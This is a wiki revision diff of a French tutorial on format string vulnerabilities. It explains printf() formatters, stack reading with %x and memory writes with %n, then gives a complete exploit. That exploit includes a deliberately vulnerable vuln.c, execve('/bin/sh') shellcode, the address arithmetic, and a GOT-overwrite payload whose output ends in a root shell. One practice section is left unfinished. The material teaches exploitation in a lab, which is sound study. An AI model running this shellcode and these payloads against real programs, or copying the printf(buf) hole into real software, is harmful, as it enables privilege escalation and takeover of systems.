Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
failles_app:format_string [2012/06/13 00:30] warr |
failles_app:format_string [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 7: | Ligne 7: | ||
Je vais donc tenter d’expliquer le principe des Format String de la façon dont j’aurais aimé qu’on le fasse au moment ou j’ai moi-même appris. | Je vais donc tenter d’expliquer le principe des Format String de la façon dont j’aurais aimé qu’on le fasse au moment ou j’ai moi-même appris. | ||
- | \\ | + | ======= SOMMAIRE ======= |
- | + | ||
- | SOMMAIRE | + | |
- | ---- | + | |
* 1 Rappels sur les fonctions de la famille printf() | * 1 Rappels sur les fonctions de la famille printf() | ||
Ligne 22: | Ligne 19: | ||
* 2.3.2 Les formateurs "pointeurs" | * 2.3.2 Les formateurs "pointeurs" | ||
* 2.3.3 Le formateur %n | * 2.3.3 Le formateur %n | ||
- | * La faille Format String, exploitation | + | * La faille Format String, exploitation classique |
* 3.1 Théorie | * 3.1 Théorie | ||
- | * 3.2 Pratique | + | * 3.2 Facilités d'écriture |
- | + | * 3.2.1 Raccourcis | |
+ | * 3.2.2 Génération de caractères | ||
+ | * 3.3 Pratique | ||
+ | * 4 Exploitation via la Global Offset Table | ||
+ | * Pré-requis | ||
+ | * 4.1 Théorie | ||
+ | * 4.1.1 Section PLT | ||
+ | * 4.1.2 Section GOT | ||
+ | * 4.2 Pratique | ||
+ | * 5 Ressources | ||
+ | \\ | ||
======= 1 Rappels sur les fonctions de la famille printf() ======= | ======= 1 Rappels sur les fonctions de la famille printf() ======= | ||
Ligne 51: | Ligne 57: | ||
<file X Terminal> | <file X Terminal> | ||
- | warr@debian:~$ gcc printf.c -o printf | + | [root@VmZenk:~/tests]$ ./exemple1 |
- | warr@debian:~$ ./printf | + | L'adresse de la variable nombre est bffffcdc ou encore -1073742628, et sa valeur est 5. |
- | L'adresse de la variable nombre est bffffd60 ou encore -1073742496, et sa valeur est 5. | + | |
</file> | </file> | ||
Ligne 139: | Ligne 144: | ||
<file X Terminal> | <file X Terminal> | ||
- | [root@VmZenk:~/tests]$ ./vuln %x%x%x%x | + | [root@VmZenk:~/tests]$ ./vuln "%08x %08x %08x %08x" |
- | bffffea23fff078257825 | + | bffffea2 000003ff 000000f0 78257825 |
</file> | </file> | ||
- | Le formateur %x est donc un formateur "direct" pour la raison suivante : il affiche tout simplement la valeur qu'il trouve sur la pile. Voyons ça avec une petite représentation de la pile. Ne vous inquiétez pas, les valeurs de la pile correspondent à l’affichage sauf que dans le terminal les 0 sont tronqués. | + | Le formateur %x est donc un formateur "direct" pour la raison suivante : il affiche tout simplement la valeur qu'il trouve sur la pile. %08x demande au formateur %x d'afficher la donnée sous la forme d'un nombre décimal de 8 caractère maximum précédé de 0. |
+ | Voyons ça avec une petite représentation de la pile. | ||
PILE | PILE | ||
Ligne 237: | Ligne 244: | ||
</file> | </file> | ||
- | Comme dit précédemment, %n est un formateur de type pointeur. Nous avons passé en argument à la fonction printf() l'adresse de la variable nbCaracteresAffiches. A l'execution, printf() a donc placé à cette adresse le nombre de caractères affichés avant lui par printf(), 6 caractères : "123456". | + | Comme dit précédemment, %n est un formateur de type pointeur. Nous avons passé en argument à la fonction printf() un pointeur sur la variable nbCaracteresAffiches. A l'execution, printf() a donc placé à cette adresse le nombre de caractères affichés avant lui par printf(), 6 caractères : "123456". |
+ | |||
+ | Conclusion, on a la possibilité d'écrire en mémoire grâce à printf() et le formateur %n. Tout l'enjeu va maintenant être d'arriver à contrôler OU on va écrire. | ||
+ | |||
+ | |||
+ | ======= 3 La faille Format String, exploitation classique======= | ||
+ | |||
+ | ====== 3.1 Théorie ====== | ||
+ | |||
+ | Toujours dans notre programme exemple, au moment de l'appel à printf(msg), notre variable msg va être empilée et si elle contient des formateurs, printf() va essayer de les remplacer par ce qu'il aura sous la main, c'est à dire simplement notre variable puisqu'on n'a pas fourni d'autres arguments. Printf() va donc tenter de remplacer les formateurs de la variable msg ... avec les données de msg elle même. | ||
+ | |||
+ | Rappelez-vous, les formateurs %x nous permettent de lire la mémoire car chacun d'eux est substitué par une valeur qu'il "cible" sur la pile. Nous allons chercher le nombre de formateurs nécessaires pour tomber à l'endroit de la mémoire (de la pile) où commence notre variable « msg ». Les valeurs qui vont s'afficher seront différentes de celles que nous avons vu dans les parties précédentes. Ce n'est pas important. On place donc AAAA dans le début du buffer, pour les reconnaître facilement quand le nombre de %x sera suffisant pour retomber sur eux. L’exemple suivant sera plus parlant. | ||
+ | |||
+ | |||
+ | <file X Terminal> | ||
+ | [root@VmZenk:~/tests]$ ./vuln AAAA%x | ||
+ | AAAAbffffea0 | ||
+ | </file> | ||
+ | |||
+ | On ajoute à chaque fois un %x supplémentaire pour afficher la suite de la mémoire. | ||
+ | |||
+ | <file X Terminal> | ||
+ | [root@VmZenk:~/tests]$ ./vuln AAAA%x%x | ||
+ | AAAAbffffe9e3ff | ||
+ | </file> | ||
+ | |||
+ | ... | ||
+ | |||
+ | <file X Terminal> | ||
+ | [root@VmZenk:~/tests]$ ./vuln AAAA%x%x%x | ||
+ | AAAAbffffe9c3fff0 | ||
+ | </file> | ||
+ | |||
+ | ... | ||
+ | |||
+ | <file X Terminal> | ||
+ | [root@VmZenk:~/tests]$ ./vuln AAAA%x%x%x%x | ||
+ | AAAAbffffe9a3fff041414141 | ||
+ | </file> | ||
+ | |||
+ | |||
+ | Et voila, on remarque les 41414141 (AAAA) qui s'affichent, le quatrième %x cible donc cette valeur sur la pile. Pour | ||
+ | bien préciser les choses : | ||
+ | |||
+ | |||
+ | PILE | ||
+ | ____________ | ||
+ | 1er %x ->[ bffffe9a ] <- %x cible la valeur bffffe9a sur la pile, donc affichage : "bffffe9a" dans le terminal. | ||
+ | 2eme %x ->[ 000003ff ] <- %x cible la valeur 000003ff sur la pile, donc affichage : "000003ff" dans le terminal. | ||
+ | 3eme %x ->[ 000000f0 ] <- %x cible la valeur 000000f0 sur la pile, donc affichage : "000000f0" dans le terminal. | ||
+ | 4eme %x ->[ 41414141 ] <- %x cible la valeur 41414141 sur la pile, donc affichage : "41414141" dans le terminal. | ||
+ | [ XXXXXXXX ] | ||
+ | ------------ | ||
+ | |||
+ | |||
+ | Donc à présent, si nous remplaçons notre quatrième %x par un formateur pointeur, %n pourquoi pas, nous seront en mesure d'écrire là ou pointe la valeur ciblée le quatrième formateur. On aura donc ceci : | ||
+ | |||
+ | |||
+ | PILE | ||
+ | ____________ | ||
+ | 1er %x ->[ bffffe9a ] <- %x cible la valeur bffffe9a sur la pile, donc affichage : "bffffe9a" dans le terminal. | ||
+ | 2eme %x ->[ 000003ff ] <- %x cible la valeur 000003ff sur la pile, donc affichage : "000003ff" dans le terminal. | ||
+ | 3eme %x ->[ 000000f0 ] <- %x cible la valeur 000000f0 sur la pile, donc affichage : "000000f0" dans le terminal. | ||
+ | %n ->[ 41414141 ] <- %n cible la valeur 41414141 sur la pile, donc ECRITURE à l'adresse : "41414141" | ||
+ | [ XXXXXXXX ] | ||
+ | ------------ | ||
+ | |||
+ | La preuve en image : | ||
+ | |||
+ | |||
+ | <file X Terminal> | ||
+ | [root@VmZenk:~/tests]$ ./vuln AAAA%x%x%x%n | ||
+ | Erreur de segmentation | ||
+ | </file> | ||
+ | |||
+ | "Erreur de segmentation" évidemment car nous avons détourné le fonctionnement du programme pour que printf() aille écrire à l'adresse 0x41414141, adresse qui évidemment n'existe pas. Gdb nous le prouve : | ||
+ | |||
+ | <file X Terminal> | ||
+ | (gdb) r AAAA%x%x%x%n | ||
+ | Starting program: /root/tests/vuln AAAA%x%x%x%n | ||
+ | |||
+ | Program received signal SIGSEGV, Segmentation fault. | ||
+ | 0xb7ed5c35 in vfprintf () from /lib/i686/cmov/libc.so.6 <------------ **printf() plante sur l'instruction à l'adresse 0xb7ed5c35** | ||
+ | |||
+ | (gdb) x/i 0xb7ed5c35 | ||
+ | 0xb7ed5c35 <vfprintf+16213>: mov DWORD PTR [eax],edx <------------ **cette instruction = place la valeur contenue dans edx à l'adresse contenue dans eax** | ||
+ | |||
+ | (gdb) i reg $eax | ||
+ | eax 0x41414141 1094795585 <------------ **eax contient bien "l'adresse" que nous avons choisi** | ||
+ | |||
+ | </file> | ||
+ | |||
+ | |||
+ | En revanche, si nous remplaçons les AAAA dans le buffer par une adresse existante, nous allons pouvoir y écrire. J'ai choisi d'écrire à l'adresse 0xbffff890 (pourquoi celle là ? ... Il fallait bien en choisir une ...). | ||
+ | |||
+ | Un petit POC via gdb : | ||
+ | |||
+ | <file X Terminal> | ||
+ | (gdb) disass main | ||
+ | Dump of assembler code for function main: | ||
+ | 0x08048464 <main+0>: push ebp | ||
+ | 0x08048465 <main+1>: mov ebp,esp | ||
+ | ... | ||
+ | ... | ||
+ | ... | ||
+ | 0x080484a4 <main+64>: call 0x804835c <strncpy@plt> | ||
+ | 0x080484a9 <main+69>: mov BYTE PTR [esp+0x40f],0x0 | ||
+ | 0x080484b1 <main+77>: lea eax,[esp+0x10] | ||
+ | 0x080484b5 <main+81>: mov DWORD PTR [esp],eax <------------ **Premier breakpoint avant l'appel à printf()** | ||
+ | 0x080484b8 <main+84>: call 0x804838c <printf@plt> <------------ **Appel à printf()** | ||
+ | 0x080484bd <main+89>: mov DWORD PTR [esp],0xa <------------ **Deuxième breakpoint juste après l'appel à printf()** | ||
+ | ... | ||
+ | ... | ||
+ | End of assembler dump. | ||
+ | |||
+ | (gdb) b*main+81 | ||
+ | Breakpoint 1 at 0x80484b5 | ||
+ | (gdb) b*main+89 | ||
+ | Breakpoint 2 at 0x80484bd | ||
+ | |||
+ | (gdb) r $(python -c 'print "\x90\xf8\xff\xbf%x%x%x%n"') | ||
+ | Starting program: /root/tests/vuln $(python -c 'print "\x90\xf8\xff\xbf%x%x%x%n"') | ||
+ | |||
+ | Breakpoint 1, 0x080484b5 in main () | ||
+ | (gdb) x/x 0xbffff890 | ||
+ | 0xbffff890: 0x00000000 <------------ **Avant l'appel à printf(), notre adresse cible ne contient rien** | ||
+ | (gdb) c | ||
+ | Continuing. | ||
+ | |||
+ | Breakpoint 2, 0x080484bd in main () | ||
+ | (gdb) x/x 0xbffff890 | ||
+ | 0xbffff890: 0x00000011 <------------ **Après l'appel à printf(), notre adresse cible contient 0x11 (j'explique après pourquoi)** | ||
+ | (gdb) c | ||
+ | Continuing. | ||
+ | ▒▒▒▒bffffe823fff0 | ||
+ | </file> | ||
+ | |||
+ | Conclusion, on a bien réussi à écrire à une adresse arbitraire une certaine valeur. Concernant cette valeur, %n écrit le nombre de caractères que printf() a affiché avant lui. On a écrit la valeur 0x11 = 17. Les 17 caractères sont \x90\xf8\xff\xbf (4 caractères, correspondant au "▒▒▒▒" affiché) + bffffe823fff0 (13 caractères). | ||
+ | |||
+ | |||
+ | ====== 3.2 Facilités d'écriture ====== | ||
+ | |||
+ | |||
+ | ===== 3.2.1 Raccourcis ===== | ||
+ | |||
+ | Dans les exemples précédents j'utilise ce genre d'argument pour faire comprendre à printf() ce que je veux : | ||
+ | |||
+ | |||
+ | <file X Terminal> | ||
+ | [root@VmZenk:~/tests]$ ./vuln AAAA%x%x%x%n | ||
+ | Erreur de segmentation | ||
+ | </file> | ||
+ | |||
+ | En réalité les 3 premiers %x ne sont ici pas nécessaires puisqu'on sait que c'est le 4ème formateur qui pointe sur le début de notre buffer. Pour faire comprendre cela à printf() on peut utiliser la notation suivante : %4$x. En faisant cela on économise des caractères dans l'argument et donc dans le buffer qui est affiché par printf(). Ici le buffer a une taille de 1024 donc on n'a pas forcément besoin d'aller à l'économie mais ce n'est pas toujours le cas. D'autre part, dans notre exemple on tombe sur le début du buffer au 4ème formateur, parfois c'est au 250ème (ou plus) et donc on se voit mal envoyer 250 fois %x dans l'argument, un %250$x est beaucoup plus efficace. | ||
+ | |||
+ | |||
+ | ===== 3.2.2 Génération de caractères ===== | ||
+ | |||
+ | Printf() obéit à ce genre d'instruction : printf("%15d", 10). | ||
+ | |||
+ | Quand on écrit cela, printf() comprend qu'il devra représenter le nombre "10" par 15 caractères. | ||
+ | |||
+ | <file C exemple.c> | ||
+ | #include <stdio.h> | ||
+ | |||
+ | int main() | ||
+ | { | ||
+ | int a=10; | ||
+ | printf("%15d\n", a); | ||
+ | } | ||
+ | </file> | ||
+ | |||
+ | A l'exécution cela donne : | ||
+ | |||
+ | <file XX Terminal> | ||
+ | [root@VmZenk:~/tests]$ ./exemple | ||
+ | 10 | ||
+ | [root@VmZenk:~/tests]$ | ||
+ | </file> | ||
+ | |||
+ | Printf() a bien affiché la valeur de "a" = 10 mais il a mis en padding devant 13 caractères (des espaces peut être je n'ai pas vérifié). Ce qui est important ici c'est que printf() n'a pas affiché 2 caractères ('1' et '0') mais bien 15 caractères. Comme vous le savez %n écrit en mémoire le nombre de caractères affichés avant lui, et cette astuce là va grandement nous aider pour augmenter ce nombre à peu de frais. J'entends par là que pour faire afficher 1000 caractères à printf(), nous n'aurons besoin que de 6 caractères dans notre argument = "%1000d". Ces 6 caractères deviendront 1000 caractères à l'exécution. | ||
+ | |||
+ | |||
+ | ====== 3.3 Pratique ====== | ||
+ | |||
+ | |||
+ | |||
+ | Nous allons maintenant voir comment exécuter un shellcode. Pour cela, il va falloir intercepter le flux d'exécution du programme, et le rediriger là ou on veut. Le programme d'exemple est extrêmement simple, une manière de le détourner est d'agir au moment du "ret" effectué par le main. Notre exploit aura donc la syntaxe suivante : | ||
+ | |||
+ | @Eip + nops + shellcode + des caractères pour écrire l'adresse ou l'on veut rediriger le flux + "%4$n" | ||
+ | |||
+ | Je précise que cette technique n'est pas du tout "optimale", ni même la plus facile à mettre en œuvre. Par contre elle a pour avantage de se dérouler de la même façon qu'un BoF classique, ce qui sera donc plus facile à expliquer et à comprendre. | ||
+ | |||
+ | Premièrement, il nous faut trouver notre shellcode dans la mémoire pour avoir notre adresse de retour. On place un breakpoint sur le "ret" et on lance le programme : | ||
+ | |||
+ | |||
+ | |||
+ | ======= 4 Exploitation via la Global Offset Table ======= | ||
+ | |||
+ | ====== Pré-requis ====== | ||
+ | |||
+ | <file C vuln.c> | ||
+ | * | ||
+ | * vuln.c | ||
+ | */ | ||
+ | #include <stdio.h> | ||
+ | #include <stdlib.h> | ||
+ | #include <string.h> | ||
+ | |||
+ | int main(int argc, char **argv){ | ||
+ | char buf[256]; | ||
+ | |||
+ | if(argc < 2){ | ||
+ | printf("Usage : ./%s <arg>\n", argv[0]); | ||
+ | exit(0); | ||
+ | } | ||
+ | |||
+ | strncpy(buf, argv[1], 256); | ||
+ | buf[255] = '\0'; | ||
+ | |||
+ | printf(buf); | ||
+ | printf("\n"); | ||
+ | |||
+ | return 0; | ||
+ | } | ||
+ | </file> | ||
+ | ====== 4.1 Théorie ====== | ||
+ | |||
+ | ===== 4.1.1 Section PLT ===== | ||
+ | |||
+ | Il est fréquent que plusieurs programmes aient besoins d'utiliser les mêmes | ||
+ | fonctions. Pour se faire, au lieu de charger les bibliothèques de fonctions à | ||
+ | chaque fois qu'un programme en a besoin, on charge une seule fois les fonctions | ||
+ | en mémoires afin que les programmes puissent utiliser les mêmes copies. | ||
+ | |||
+ | Il existe une section spéciales des programmes compilés (PLT : procedure linkage | ||
+ | table). La PLT est une sorte de table de référence des fonctions. Elle contient | ||
+ | des instructions de saut correspondant à l'adresse d'une fonction. | ||
+ | |||
+ | Il est possible d'étudier la section PLT en détail en la désassemblant. | ||
+ | |||
+ | Ex: | ||
+ | <file X Terminal> | ||
+ | ezano@Practice:~/Hacking $ objdump -d -j .plt ./vuln | ||
+ | |||
+ | ./vuln: file format elf32-i386 | ||
+ | |||
+ | Disassembly of section .plt: | ||
+ | |||
+ | 080482b8 <__gmon_start__@plt-0x10>: | ||
+ | 80482b8: ff 35 40 96 04 08 pushl 0x8049640 | ||
+ | 80482be: ff 25 44 96 04 08 jmp *0x8049644 | ||
+ | 80482c4: 00 00 add %al,(%eax) | ||
+ | ... | ||
+ | |||
+ | 080482c8 <__gmon_start__@plt>: | ||
+ | 80482c8: ff 25 48 96 04 08 jmp *0x8049648 | ||
+ | 80482ce: 68 00 00 00 00 push $0x0 | ||
+ | 80482d3: e9 e0 ff ff ff jmp 80482b8 <_init+0x18> | ||
+ | |||
+ | 080482d8 <strncpy@plt>: | ||
+ | 80482d8: ff 25 4c 96 04 08 jmp *0x804964c | ||
+ | 80482de: 68 08 00 00 00 push $0x8 | ||
+ | 80482e3: e9 d0 ff ff ff jmp 80482b8 <_init+0x18> | ||
+ | |||
+ | 080482e8 <__libc_start_main@plt>: | ||
+ | 80482e8: ff 25 50 96 04 08 jmp *0x8049650 | ||
+ | 80482ee: 68 10 00 00 00 push $0x10 | ||
+ | 80482f3: e9 c0 ff ff ff jmp 80482b8 <_init+0x18> | ||
+ | |||
+ | 080482f8 <printf@plt>: | ||
+ | 80482f8: ff 25 54 96 04 08 jmp *0x8049654 | ||
+ | 80482fe: 68 18 00 00 00 push $0x18 | ||
+ | 8048303: e9 b0 ff ff ff jmp 80482b8 <_init+0x18> | ||
+ | |||
+ | 08048308 <exit@plt>: | ||
+ | 8048308: ff 25 58 96 04 08 jmp *0x8049658 | ||
+ | 804830e: 68 20 00 00 00 push $0x20 | ||
+ | 8048313: e9 a0 ff ff ff jmp 80482b8 <_init+0x18> | ||
+ | </file> | ||
+ | |||
+ | Cette section à l'air sympa, si on arrive à manipuler une instruction de saut et | ||
+ | à redirigé le flux d'execution vers un shellcode, on pourra obtenir un shell | ||
+ | root. | ||
+ | |||
+ | ===== 4.1.2 Section GOT ===== | ||
+ | |||
+ | La section PLT est en lecture seule, ce qui la rend inutilisable pour une | ||
+ | éventuelle réecriture d'adresse. Cependant, en analysant plus en détail les | ||
+ | instructions de saut de la section PLT, on se rend compte qu'elles ne sautent | ||
+ | pas vers des adresses mais vers des pointeurs sur des adresses. Prenons | ||
+ | l'exemple de la fonction printf() | ||
+ | |||
+ | Ex: | ||
+ | <file X Terminal> | ||
+ | 080482f8 <printf@plt>: | ||
+ | 80482f8: ff 25 54 96 04 08 jmp *0x8049654 | ||
+ | 80482fe: 68 18 00 00 00 push $0x18 | ||
+ | 8048303: e9 b0 ff ff ff jmp 80482b8 <_init+0x18> | ||
+ | </file> | ||
+ | |||
+ | On peut voir ici que l'instruction jmp, sert à sauter à l'adresse 0x8049654. | ||
+ | À cette adresse se situe une autre adresse, c'est cette nouvelle adresse, | ||
+ | l'adresse réelle de la fonction printf(). Ces adresses sont contenu dans une | ||
+ | nouvelle section de la mémoire, la Global Offset table (GOT), qui est modifiable. | ||
+ | |||
+ | Il est possible de voir toutes ces adresses en désassemblant la GOT. | ||
+ | |||
+ | Ex: | ||
+ | <file X Terminal> | ||
+ | ezano@Practice:~/Hacking $ objdump -R ./vuln | ||
+ | |||
+ | ./vuln: file format elf32-i386 | ||
+ | |||
+ | DYNAMIC RELOCATION RECORDS | ||
+ | OFFSET TYPE VALUE | ||
+ | 08049638 R_386_GLOB_DAT __gmon_start__ | ||
+ | 08049648 R_386_JUMP_SLOT __gmon_start__ | ||
+ | 0804964c R_386_JUMP_SLOT strncpy | ||
+ | 08049650 R_386_JUMP_SLOT __libc_start_main | ||
+ | 08049654 R_386_JUMP_SLOT printf | ||
+ | 08049658 R_386_JUMP_SLOT exit | ||
+ | </file> | ||
+ | |||
+ | Ici on voit clairement toutes les adresses contenant les adresses réelles des | ||
+ | fonctions de la libc utilisées dans notre programmes vulnérable. Le but est | ||
+ | donc d'ecrire à l'emplacement 08049654 par exemple, l'adresse de notre shellcode. | ||
+ | Ainsi, lorsque le programme voudra executer printf(), il lira la section plt, | ||
+ | on sautera à l'adresse contenue dans 0x08049654 (normalement c'est l'adresse | ||
+ | du shellcode) ce qui exécutera le shellcode. | ||
+ | |||
+ | |||
+ | ====== 4.2 Pratique ====== | ||
+ | |||
+ | Maintenant qu'on a pas mal théorisé, je termine par l'exploitation complète et | ||
+ | commenté. | ||
+ | |||
+ | Ex: (Note: L'exploitation a été réalisé sans l'aslr, mais sachez que l'utilisation | ||
+ | de la GOT avec l'aslr est efficace) | ||
+ | ------------------------------------------------------------------------------- | ||
+ | |||
+ | //On exporte le shellcode...// | ||
+ | <file X Terminal> | ||
+ | ezano@Practice:~/Hacking $ export SHELLCODE=`python -c 'print "\x31\xc0\x31\xdb | ||
+ | \x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53 | ||
+ | \x89\xe1\xb0\x0b\xcd\x80"'` | ||
+ | </file> | ||
+ | |||
+ | |||
+ | //On determine l'adresse...// | ||
+ | <file X Terminal> | ||
+ | ezano@Practice:~/Hacking $ ./get_env SHELLCODE ./vuln | ||
+ | SHELLCODE = 0xbffffa22 | ||
+ | </file> | ||
+ | |||
+ | |||
+ | //On fais les calculs nécessaire pour la réecriture d'adresse...// | ||
+ | <file X Terminal> | ||
+ | ezano@Practice:~/Hacking $ gdbGNU gdb 6.6-debian | ||
+ | Copyright (C) 2006 Free Software Foundation, Inc. | ||
+ | GDB is free software, covered by the GNU General Public License, and you are | ||
+ | welcome to change it and/or distribute copies of it under certain conditions. | ||
+ | Type "show copying" to see the conditions. | ||
+ | There is absolutely no warranty for GDB. Type "show warranty" for details. | ||
+ | This GDB was configured as "i486-linux-gnu". | ||
+ | (gdb) p 0xbfff - 8 | ||
+ | $1 = 49143 | ||
+ | (gdb) p 0xfa22 - 0xbfff | ||
+ | $2 = 14883 | ||
+ | (gdb) q | ||
+ | </file> | ||
+ | |||
+ | |||
+ | //On désassemble la GOT (beaucoup de methodes possible)// | ||
+ | <file X Terminal> | ||
+ | ezano@Practice:~/Hacking $ objdump -R ./vuln | ||
+ | |||
+ | ./vuln: file format elf32-i386 | ||
+ | |||
+ | DYNAMIC RELOCATION RECORDS | ||
+ | OFFSET TYPE VALUE | ||
+ | 08049638 R_386_GLOB_DAT __gmon_start__ | ||
+ | 08049648 R_386_JUMP_SLOT __gmon_start__ | ||
+ | 0804964c R_386_JUMP_SLOT strncpy | ||
+ | 08049650 R_386_JUMP_SLOT __libc_start_main | ||
+ | 08049654 R_386_JUMP_SLOT printf <--- C'est la qu'on va ecrire ---> | ||
+ | 08049658 R_386_JUMP_SLOT exit | ||
+ | </file> | ||
+ | |||
+ | //On exploite...// | ||
+ | <file X Terminal> | ||
+ | ezano@Practice:~/Hacking $ ./vuln $(printf "\x56\x96\x04\x08\x54\x96\x04\x08")%49143x%4\$hn%14883x%5\$hn | ||
+ | sh-3.2# | ||
+ | </file> | ||
+ | w00t. | ||
+ | |||
+ | ======= 5 Ressources ======= | ||
+ | |||
+ | [[http://julianor.tripod.com/bc/formatstring-1.2.pdf|Exploiting Format String Vulnerability]] | ||
+ | |||
+ | |||
+ | |||
+ | |||
+ | |||
+ | |||
+ | |||
+ | |||
+ | |||
+ | |||
+ | |||
+ | |||
+ | |||
+ | |||